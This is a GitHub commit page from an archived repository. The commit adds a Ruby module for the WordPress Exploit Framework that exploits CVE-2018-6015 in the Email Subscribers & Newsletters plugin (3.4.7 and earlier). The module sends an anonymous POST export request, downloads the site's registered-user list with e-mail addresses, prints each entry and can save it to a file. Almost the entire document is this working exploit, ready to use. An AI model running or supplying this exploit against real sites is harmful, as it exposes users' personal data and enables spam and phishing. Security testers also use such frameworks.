Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 54118bf

Browse files
committed
Add Email Subscribers & Newsletters <= 3.4.7 user list disclosure
1 parent 7ef8ac0 commit 54118bf

File tree

1 file changed

+115
-0
lines changed

1 file changed

+115
-0
lines changed
Lines changed: 115 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,115 @@
1+
# frozen_string_literal: true
2+
3+
class Wpxf::Auxiliary::EmailSubscribersUserListDisclosure < Wpxf::Module
4+
include Wpxf
5+
6+
def initialize
7+
super
8+
9+
update_info(
10+
name: 'Email Subscribers & Newsletters <= 3.4.7 User List Disclosure',
11+
desc: %(
12+
This module exploits a vulnerability in Email Subscribers & Newsletters
13+
which allows anonymous users to download a list of the registered users
14+
and the associated e-mail addresses.
15+
),
16+
author: [
17+
'Threat Press', # Disclosure
18+
'rastating' # WPXF module
19+
],
20+
references: [
21+
['WPVDB', '9014'],
22+
['CVE', '2018-6015'],
23+
['URL', 'https://blog.threatpress.com/vulnerability-email-subscribers-plugin/']
24+
],
25+
date: 'Jan 24 2018'
26+
)
27+
28+
register_options([
29+
StringOption.new(
30+
name: 'export_path',
31+
desc: 'The file to save the export to',
32+
required: false
33+
)
34+
])
35+
end
36+
37+
def check
38+
check_plugin_version_from_readme('email-subscribers', '3.4.8')
39+
end
40+
41+
def export_path
42+
return nil if normalized_option_value('export_path').nil?
43+
File.expand_path normalized_option_value('export_path')
44+
end
45+
46+
def request_user_list
47+
res = execute_post_request(
48+
url: full_uri,
49+
params: { 'es' => 'export' },
50+
body: { 'option' => 'registered_user' }
51+
)
52+
53+
if res.nil?
54+
emit_error 'No response from the target'
55+
return nil
56+
end
57+
58+
if res.code != 200
59+
emit_error "Server responded with code #{res.code}"
60+
return nil
61+
end
62+
63+
res
64+
end
65+
66+
def process_row(row)
67+
return unless row[:name] && row[:email]
68+
emit_success "Found user: #{row[:name]} (#{row[:email]})", true
69+
@users.push(username: row[:name], email: row[:email])
70+
end
71+
72+
def parse_csv(body, delimiter)
73+
@users = [{
74+
username: 'Username', email: 'E-mail'
75+
}]
76+
77+
begin
78+
CSV::Converters[:blank_to_nil] = lambda do |field|
79+
field&.empty? ? nil : field
80+
end
81+
csv = CSV.new(
82+
body,
83+
col_sep: delimiter,
84+
headers: true,
85+
header_converters: :symbol,
86+
converters: %i[all blank_to_nil]
87+
)
88+
89+
csv.to_a.map { |row| process_row(row) }
90+
emit_table @users
91+
return true
92+
rescue Error
93+
return false
94+
end
95+
end
96+
97+
def run
98+
return false unless super
99+
100+
emit_info 'Requesting the user list...'
101+
res = request_user_list
102+
return false if res.nil?
103+
104+
emit_info 'Parsing result...', true
105+
parse_csv res.body, ','
106+
107+
if export_path
108+
emit_info 'Saving export...'
109+
File.open(export_path, 'w') { |file| file.write(res.body) }
110+
emit_success "Saved export to #{export_path}"
111+
end
112+
113+
true
114+
end
115+
end

0 commit comments

Comments
 (0)